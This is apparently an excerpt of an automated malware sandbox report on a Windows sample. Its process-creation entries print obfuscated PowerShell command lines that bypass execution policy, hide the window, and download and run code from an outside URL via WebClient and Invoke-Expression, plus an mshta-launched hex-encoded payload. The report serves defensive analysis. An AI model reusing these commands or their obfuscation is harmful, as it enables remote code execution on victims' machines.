Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 8640
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1187
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2342
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 7455

Source: C:\Windows\System32\svchost.exe TID: 6944	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7764	Thread sleep count: 8640 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7764	Thread sleep count: 1187 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7828	Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7936	Thread sleep count: 2342 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7936	Thread sleep count: 7455 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7984	Thread sleep time: -7378697629483816s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

HIPS / PFW / Operating System Protection Evasion

Bypasses PowerShell execution policy

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command cd;Set-Variable t8 (.(Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'*Cm*t'}).Name).Invoke((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'G*om*e'}).Name).Invoke('Ne*ct',$TRUE,1))Net.WebClient);SV s 'https://heavens.holistic-haven.shop/singl5';&(Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'*Cm*t'}).Name).Invoke((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand.(((Get-ChildItem Variable:\E*onte*).Value.InvokeCommand|Get-Member|Where-Object{(Get-Variable _).Value.Name-ilike'G*om*e'}).Name).Invoke('In*-Ex*ion',$TRUE,$TRUE))([String]::Join('',(((Get-Item Variable:\t8).Value.((((Get-Item Variable:\t8).Value|Get-Member)|Where-Object{(Get-Variable _).Value.Name-ilike'*nl*a'}).Name).Invoke((GCI Variable:\s).Value)|ForEach{(Get-Item Variable:/_).Value-As'Char'}))))

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function ngyV($kqZz){return -split ($kqZz -replace '..', '0x$& ')};$edQG = ngyV('9B37E06BF956AECEC578DA8836BB78F6D34FFAAAB891B80DE1098BA526A0C09B9695FEFF097B0E5D22EDB5F917A44C1326CE6AD173B86B203E0CFD1CA1A3D0BCE6D383CC7F582E9B9F2BBA4284D557E9758AA78A3B57ECA89C28C784A8E329085BE2BC7463385D85C1741CA02C8F957ADD24A3F7A816E19BAD7EE2EBD00475BE81C954EBFA720D80C866283B1A22A4CD86E2C6C6592F98149C7B4641DAF3C3A9FA1FB67A0F97B429C9381B5B78E16C8282E516572914520C840340519F48BF258E33E622628A1802A3521F2E7500CF05B273B1F2F0BB288557E9D9A4849346086BC8AC9D070C1E9680E82B5059338903C654502C235BCF39F5930780F87688F211693AAD4C85F2A4F203329223AF49BAA6BD8A9E30A0EA466268AF322586522882DD850D831A8C7B19F05D13E7BE8E622FD53A5F545B567857240D12F878F254A058EE68A804A8C5A188AA558BAC50F2B0A7AFA884C71642B1C87B205CA320AD4488AD285B5A12B463CD1A139A8FE9FF69844D4211C9420B0B312F1AAD3F4E10285264572A8EC289A2A1BB9228DCF6384832BF858767B194D0E3C531CAE2A43651E803DBDC27FE25FB0B2FB720EA6190A1C47926526570B387CE4274445D0E23F2AF55B7BF63FAB14D68A3CED3482CA6609AC6E7F8648514FB954D7B5E41FCA13408621EA58AFBCA78BCD568D73A93A5C2571B4CAC34385785FEACE6DF3FD992C12379C663884CBB1490FEF5F60AF555D11FEEBA3A51FDD1686DB209B6A45CEB4823BE5862CE623891963721BC6D253E89976C4DBC738ADC80865C0C9B06E39257E93404BE53A986B1837F5CBBEB65D935F0968BA068178C2DFE472704F5EE5051AAEBED38C2C21D22D49ACD6E20B980EB601F7B26BA5388D1EB0FCF1ABE96D767F1201814DB196FE39ED811F30374DE84F48CE14A95DF7A9828928513F0F835399CDDE25521FB55DE3C25C827439AB6D74976549CF60F2C8CFD3F40962CDA691A75EEB181B5635A31DC1DE58AECE0D2ECA39E94F2B188D188810BAECC3F850800E8709791D5B8F3DA6B019DFC98080EBF566E4E19A0C433839BE0C7C23C4D8EDEEEA970368D7A2C06852DE410B551DAD93D49797E4F4D373055A307208B597C673333EC2EC04894E30ED71A71EFF7D7FA2C34D1DE9BB5AF474D96717FBC220E301F28A15F7B9A6C58CABFF5CF07EDAE1BA0A80E569B87607BC2391C2499AA3130EAC4E93E6CE2D4C26D1B3D7ADA076444AD18C15B4C1A6B50EDA21A99ACB63C79827781C5CC4EE59186C6A336AB5DA69D61E7403756263EAFB9C5476A730683EBBB4E8AB1EEA46680320331E95AE08F35FC1F5D4F7F7322ACD03CE2FE52A457C9CBC8B7A21D77E7ACA744BC0388622B84AC5392D868B2D6BFCBC3AD0EB9884B4F5E38AA328167085907DD5A514FEA69EDD4A2C63970C28FE3E84F65D6BE17880E4651F73FC1C8D6768D02225876EFEAFECBD40E226CBCB292F233A51A2A85C00443B097A22DF3C38FCC6702D6AD5BF2EEA9EDB135100E8B41618EB2582A6BDD56616E5786D27E29F830DAC7091A21C99540937BF224E060BDB84D22E7E6156CB842471D3FD0587EA5F27965C6EC0C5F9A2745459DAD59008DC50EF1A3160E6AE52205DC4BB6BE16193AA101EA390F4786EEC9BC042FD77A6B67F437A23B10E32BDE58333538B6A09E832C96B3C490ED22530E889D8571DF026417DEF4A0C5BB26E87818C5927600618F3DC599D3E80FC0D4F78A0A8E12485AACE0A552D4B57D99F77EBDB1A6163E64601DBE1ED5E5D8A39F9850BD799714AFFC3CBEBE7626245B1950B4464C1F024781C68A3F9AC0D03E71B5CD0AFDD0A8EAC11BF425850B0C33E67C994629BFC628D25C06C6099C680D7950B2B0BE7BC65712C614B883766D1FB57FF471EFFF8D53FA50225E1EC0FC879D58796D6A493EFD94514C0E7FDA500270FB6CA0BBB7D8FFD5F4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -w hidden -ep bypass -nop -Command cd;Set-Variable t8 (.(Get-ChildItem Variable:\Eonte).Value.InvokeCommand.(((Get-ChildItem Variable:\Eonte).Value.InvokeCommand\|Get-Member\|Where-Object{(Get-Variable _).Value.Name-ilike'Cmt'}).Name).Invoke((Get-ChildItem Variable:\Eonte).Value.InvokeCommand.(((Get-ChildItem Variable:\Eonte).Value.InvokeCommand\|Get-Member\|Where-Object{(Get-Variable _).Value.Name-ilike'Gome'}).Name).Invoke('Nect',$TRUE,1))Net.WebClient);SV s 'https://heavens.holistic-haven.shop/singl5';&(Get-ChildItem Variable:\Eonte).Value.InvokeCommand.(((Get-ChildItem Variable:\Eonte).Value.InvokeCommand\|Get-Member\|Where-Object{(Get-Variable _).Value.Name-ilike'Cmt'}).Name).Invoke((Get-ChildItem Variable:\Eonte).Value.InvokeCommand.(((Get-ChildItem Variable:\Eonte).Value.InvokeCommand\|Get-Member\|Where-Object{(Get-Variable _).Value.Name-ilike'Gome'}).Name).Invoke('In-Exion',$TRUE,$TRUE))([String]::Join('',(((Get-Item Variable:\t8).Value.((((Get-Item Variable:\t8).Value\|Get-Member)\|Where-Object{(Get-Variable _).Value.Name-ilike'nl*a'}).Name).Invoke((GCI Variable:\s).Value)\|ForEach{(Get-Item Variable:/_).Value-As'Char'}))))

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function ngyv($kqzz){return -split ($kqzz -replace '..', '0x$& ')};$edqg = ngyv('9b37e06bf956aecec578da8836bb78f6d34ffaaab891b80de1098ba526a0c09b9695feff097b0e5d22edb5f917a44c1326ce6ad173b86b203e0cfd1ca1a3d0bce6d383cc7f582e9b9f2bba4284d557e9758aa78a3b57eca89c28c784a8e329085be2bc7463385d85c1741ca02c8f957add24a3f7a816e19bad7ee2ebd00475be81c954ebfa720d80c866283b1a22a4cd86e2c6c6592f98149c7b4641daf3c3a9fa1fb67a0f97b429c9381b5b78e16c8282e516572914520c840340519f48bf258e33e622628a1802a3521f2e7500cf05b273b1f2f0bb288557e9d9a4849346086bc8ac9d070c1e9680e82b5059338903c654502c235bcf39f5930780f87688f211693aad4c85f2a4f203329223af49baa6bd8a9e30a0ea466268af322586522882dd850d831a8c7b19f05d13e7be8e622fd53a5f545b567857240d12f878f254a058ee68a804a8c5a188aa558bac50f2b0a7afa884c71642b1c87b205ca320ad4488ad285b5a12b463cd1a139a8fe9ff69844d4211c9420b0b312f1aad3f4e10285264572a8ec289a2a1bb9228dcf6384832bf858767b194d0e3c531cae2a43651e803dbdc27fe25fb0b2fb720ea6190a1c47926526570b387ce4274445d0e23f2af55b7bf63fab14d68a3ced3482ca6609ac6e7f8648514fb954d7b5e41fca13408621ea58afbca78bcd568d73a93a5c2571b4cac34385785feace6df3fd992c12379c663884cbb1490fef5f60af555d11feeba3a51fdd1686db209b6a45ceb4823be5862ce623891963721bc6d253e89976c4dbc738adc80865c0c9b06e39257e93404be53a986b1837f5cbbeb65d935f0968ba068178c2dfe472704f5ee5051aaebed38c2c21d22d49acd6e20b980eb601f7b26ba5388d1eb0fcf1abe96d767f1201814db196fe39ed811f30374de84f48ce14a95df7a9828928513f0f835399cdde25521fb55de3c25c827439ab6d74976549cf60f2c8cfd3f40962cda691a75eeb181b5635a31dc1de58aece0d2eca39e94f2b188d188810baecc3f850800e8709791d5b8f3da6b019dfc98080ebf566e4e19a0c433839be0c7c23c4d8edeeea970368d7a2c06852de410b551dad93d49797e4f4d373055a307208b597c673333ec2ec04894e30ed71a71eff7d7fa2c34d1de9bb5af474d96717fbc220e301f28a15f7b9a6c58cabff5cf07edae1ba0a80e569b87607bc2391c2499aa3130eac4e93e6ce2d4c26d1b3d7ada076444ad18c15b4c1a6b50eda21a99acb63c79827781c5cc4ee59186c6a336ab5da69d61e7403756263eafb9c5476a730683ebbb4e8ab1eea46680320331e95ae08f35fc1f5d4f7f7322acd03ce2fe52a457c9cbc8b7a21d77e7aca744bc0388622b84ac5392d868b2d6bfcbc3ad0eb9884b4f5e38aa328167085907dd5a514fea69edd4a2c63970c28fe3e84f65d6be17880e4651f73fc1c8d6768d02225876efeafecbd40e226cbcb292f233a51a2a85c00443b097a22df3c38fcc6702d6ad5bf2eea9edb135100e8b41618eb2582a6bdd56616e5786d27e29f830dac7091a21c99540937bf224e060bdb84d22e7e6156cb842471d3fd0587ea5f27965c6ec0c5f9a2745459dad59008dc50ef1a3160e6ae52205dc4bb6be16193aa101ea390f4786eec9bc042fd77a6b67f437a23b10e32bde58333538b6a09e832c96b3c490ed22530e889d8571df026417def4a0c5bb26e87818c5927600618f3dc599d3e80fc0d4f78a0a8e12485aace0a552d4b57d99f77ebdb1a6163e64601dbe1ed5e5d8a39f9850bd799714affc3cbebe7626245b1950b4464c1f024781c68a3f9ac0d03e71b5cd0afdd0a8eac11bf425850b0c33e67c994629bfc628d25c06c6099c680d7950b2b0be7bc65712c614b883766d1fb57ff471efff8d53fa50225e1ec0fc879d58796d6a493efd94514c0e7fda500270fb6ca0bbb7d8ffd5f4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -w hidden -ep bypass -nop -command cd;set-variable t8 (.(get-childitem variable:\eonte).value.invokecommand.(((get-childitem variable:\eonte).value.invokecommand\|get-member\|where-object{(get-variable _).value.name-ilike'cmt'}).name).invoke((get-childitem variable:\eonte).value.invokecommand.(((get-childitem variable:\eonte).value.invokecommand\|get-member\|where-object{(get-variable _).value.name-ilike'gome'}).name).invoke('nect',$true,1))net.webclient);sv s 'https://heavens.holistic-haven.shop/singl5';&(get-childitem variable:\eonte).value.invokecommand.(((get-childitem variable:\eonte).value.invokecommand\|get-member\|where-object{(get-variable _).value.name-ilike'cmt'}).name).invoke((get-childitem variable:\eonte).value.invokecommand.(((get-childitem variable:\eonte).value.invokecommand\|get-member\|where-object{(get-variable _).value.name-ilike'gome'}).name).invoke('in-exion',$true,$true))([string]::join('',(((get-item variable:\t8).value.((((get-item variable:\t8).value\|get-member)\|where-object{(get-variable _).value.name-ilike'nl*a'}).name).invoke((gci variable:\s).value)\|foreach{(get-item variable:/_).value-as'char'}))))
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function ngyv($kqzz){return -split ($kqzz -replace '..', '0x$& ')};$edqg = ngyv('9b37e06bf956aecec578da8836bb78f6d34ffaaab891b80de1098ba526a0c09b9695feff097b0e5d22edb5f917a44c1326ce6ad173b86b203e0cfd1ca1a3d0bce6d383cc7f582e9b9f2bba4284d557e9758aa78a3b57eca89c28c784a8e329085be2bc7463385d85c1741ca02c8f957add24a3f7a816e19bad7ee2ebd00475be81c954ebfa720d80c866283b1a22a4cd86e2c6c6592f98149c7b4641daf3c3a9fa1fb67a0f97b429c9381b5b78e16c8282e516572914520c840340519f48bf258e33e622628a1802a3521f2e7500cf05b273b1f2f0bb288557e9d9a4849346086bc8ac9d070c1e9680e82b5059338903c654502c235bcf39f5930780f87688f211693aad4c85f2a4f203329223af49baa6bd8a9e30a0ea466268af322586522882dd850d831a8c7b19f05d13e7be8e622fd53a5f545b567857240d12f878f254a058ee68a804a8c5a188aa558bac50f2b0a7afa884c71642b1c87b205ca320ad4488ad285b5a12b463cd1a139a8fe9ff69844d4211c9420b0b312f1aad3f4e10285264572a8ec289a2a1bb9228dcf6384832bf858767b194d0e3c531cae2a43651e803dbdc27fe25fb0b2fb720ea6190a1c47926526570b387ce4274445d0e23f2af55b7bf63fab14d68a3ced3482ca6609ac6e7f8648514fb954d7b5e41fca13408621ea58afbca78bcd568d73a93a5c2571b4cac34385785feace6df3fd992c12379c663884cbb1490fef5f60af555d11feeba3a51fdd1686db209b6a45ceb4823be5862ce623891963721bc6d253e89976c4dbc738adc80865c0c9b06e39257e93404be53a986b1837f5cbbeb65d935f0968ba068178c2dfe472704f5ee5051aaebed38c2c21d22d49acd6e20b980eb601f7b26ba5388d1eb0fcf1abe96d767f1201814db196fe39ed811f30374de84f48ce14a95df7a9828928513f0f835399cdde25521fb55de3c25c827439ab6d74976549cf60f2c8cfd3f40962cda691a75eeb181b5635a31dc1de58aece0d2eca39e94f2b188d188810baecc3f850800e8709791d5b8f3da6b019dfc98080ebf566e4e19a0c433839be0c7c23c4d8edeeea970368d7a2c06852de410b551dad93d49797e4f4d373055a307208b597c673333ec2ec04894e30ed71a71eff7d7fa2c34d1de9bb5af474d96717fbc220e301f28a15f7b9a6c58cabff5cf07edae1ba0a80e569b87607bc2391c2499aa3130eac4e93e6ce2d4c26d1b3d7ada076444ad18c15b4c1a6b50eda21a99acb63c79827781c5cc4ee59186c6a336ab5da69d61e7403756263eafb9c5476a730683ebbb4e8ab1eea46680320331e95ae08f35fc1f5d4f7f7322acd03ce2fe52a457c9cbc8b7a21d77e7aca744bc0388622b84ac5392d868b2d6bfcbc3ad0eb9884b4f5e38aa328167085907dd5a514fea69edd4a2c63970c28fe3e84f65d6be17880e4651f73fc1c8d6768d02225876efeafecbd40e226cbcb292f233a51a2a85c00443b097a22df3c38fcc6702d6ad5bf2eea9edb135100e8b41618eb2582a6bdd56616e5786d27e29f830dac7091a21c99540937bf224e060bdb84d22e7e6156cb842471d3fd0587ea5f27965c6ec0c5f9a2745459dad59008dc50ef1a3160e6ae52205dc4bb6be16193aa101ea390f4786eec9bc042fd77a6b67f437a23b10e32bde58333538b6a09e832c96b3c490ed22530e889d8571df026417def4a0c5bb26e87818c5927600618f3dc599d3e80fc0d4f78a0a8e12485aace0a552d4b57d99f77ebdb1a6163e64601dbe1ed5e5d8a39f9850bd799714affc3cbebe7626245b1950b4464c1f024781c68a3f9ac0d03e71b5cd0afdd0a8eac11bf425850b0c33e67c994629bfc628d25c06c6099c680d7950b2b0be7bc65712c614b883766d1fb57ff471efff8d53fa50225e1ec0fc879d58796d6a493efd94514c0e7fda500270fb6ca0bbb7d8ffd5f4
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -w hidden -ep bypass -nop -command cd;set-variable t8 (.(get-childitem variable:\eonte).value.invokecommand.(((get-childitem variable:\eonte).value.invokecommand\|get-member\|where-object{(get-variable _).value.name-ilike'cmt'}).name).invoke((get-childitem variable:\eonte).value.invokecommand.(((get-childitem variable:\eonte).value.invokecommand\|get-member\|where-object{(get-variable _).value.name-ilike'gome'}).name).invoke('nect',$true,1))net.webclient);sv s 'https://heavens.holistic-haven.shop/singl5';&(get-childitem variable:\eonte).value.invokecommand.(((get-childitem variable:\eonte).value.invokecommand\|get-member\|where-object{(get-variable _).value.name-ilike'cmt'}).name).invoke((get-childitem variable:\eonte).value.invokecommand.(((get-childitem variable:\eonte).value.invokecommand\|get-member\|where-object{(get-variable _).value.name-ilike'gome'}).name).invoke('in-exion',$true,$true))([string]::join('',(((get-item variable:\t8).value.((((get-item variable:\t8).value\|get-member)\|where-object{(get-variable _).value.name-ilike'nl*a'}).name).invoke((gci variable:\s).value)\|foreach{(get-item variable:/_).value-as'char'}))))

Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
